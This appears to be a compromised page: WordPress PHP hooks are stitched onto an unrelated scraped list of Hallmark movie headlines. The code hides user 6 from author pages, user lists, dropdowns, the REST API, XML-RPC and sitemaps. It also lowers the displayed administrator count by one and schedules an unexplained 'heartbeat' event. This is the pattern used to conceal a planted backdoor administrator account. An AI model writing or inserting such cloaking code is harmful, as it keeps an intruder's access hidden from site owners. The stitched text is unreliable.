add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 6;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 6 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 6;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 6;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 6;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 6;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
TV Cheddarhttps://validator.w3.org/feed/docs/rss2.htmlNew Hallmark Christmas movie is missing one thing: ChristmasNewsErin Cahill and Wes Brown find true love in new autumn Hallmark romance movieAurora Teagarden MysteriesJodie Sweetin loses a fortune but finds true love in new Hallmark romance movie-Home-Desperate Housewives star James Denton joins Kimberley Sustad, Lucas Bryant in Hallmark romance The Real WestThe five best Victor Webster Hallmark romance moviesSequels, reunions, and a cameo by Kevin from The Office: Everything You Need to Know about this year’s Hallmark Christmas movie lineupThis Little House on the Prairie star is joining the cast of Hallmark’s When Calls the HeartAshley Williams and Paul Campbell star in new Hallmark movie about community, love, and the fight against Alzheimer’sPaul Campbell and Aimee Garcia are back as TV’s funniest detectives in new Hallmark mysterySigned, Sealed, DeliveredDriver cited in accident that killed Treat WilliamsAlison Sweeney and Victor Webster reunite in A Sprinkle of Deceit: A Hannah Swensen MysteryHallmark adds second Christmas cruise after the first sells out in one dayWhen Calls the Heart celebrates 100th episodeRebecca Dalton and Olivier Renaud fall ‘head over heels’ in new Hallmark romance movieChristopher Russell and Rhiannon Fish find true love in new Hallmark romance movie A Costa Rican WeddingGood Witch castmates will reunite at Christmas ConPascale Hutton and Kavan Smith catch a killer in new Hallmark mysteryThe complete list of Ryan Paevey Hallmark moviesBethany Joy Lenz and Kristoffer Polaha star in new Hallmark movie filmed at the Biltmore EstateSeveral new Hallmark movies and shows are coming out soon. Just don’t look for them on cable.The complete list of Christopher Russell Hallmark moviesAutumn Reeser takes love advice from a younger version of herself in Hallmark romance movie JunebugHallmark announces premiere of new season of The Way HomeRhiannon Fish finds love in new Hallmark movie set in NorwayRyan McPartlin and Katie Leclerc find true love on the slopes in A Very Vermont ChristmasSo Fetch! Lacey Chabert is getting her own Hallmark showRachael Leigh Cook and Sam Page race to save the holidays in Rescuing ChristmasMishael Morgan headlines new Hallmark Christmas movieVirgin River star Mark Ghanimé headlines new Hallmark Christmas movie To All a Good NightPaul Campbell is a Christmas hater in new Hallmark movie Magic in MistletoeGood Witch fans get the reunion they’ve been waiting for in the new Hallmark movie Christmas on Cherry LaneVic Michaelis gets stuck in a time loop in the new Hallmark Hanukkah movie Round and RoundLaura Vandervoort headlines new Hallmark movie Miracle in Bethlehem, PAEverything you need to know about watching Hallmark without cableTyler Hynes, Jonathan Bennett, and BJ Britt to star in trilogy of new Hallmark romance moviesFan-favorite Hallmark mystery series to get three new moviesHallmark stars congratulate Donne Kelce on her new roleHallmark star Nik Sanchez flips the script in new film for Easterseals Disability Film ChallengeA case of mistaken identity leads to romance in new Hallmark movie A Not So Royal ChristmasTrevor Donovan, Gladys Knight to star in new adaptation of Little WomenNew Signed, Sealed, Delivered movie set to premiere on HallmarkRachel Boston finds friendship and romance in new Hallmark movieGreat American Family releases schedule for Christmas lineupKevin McGarry finds love in hockey-themed Hallmark Christmas movieWhen Calls the Heart fans divided over Season 10Everything you need to know about Nelson Wong, the actor who has starred in more than 30 Hallmark movies